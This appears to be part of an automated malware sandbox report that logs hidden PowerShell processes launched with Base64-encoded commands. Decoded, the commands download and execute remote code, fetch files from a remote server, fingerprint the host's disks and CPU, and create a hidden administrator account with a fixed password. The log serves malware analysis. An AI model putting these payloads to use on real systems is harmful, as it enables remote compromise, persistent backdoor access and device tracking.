Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByA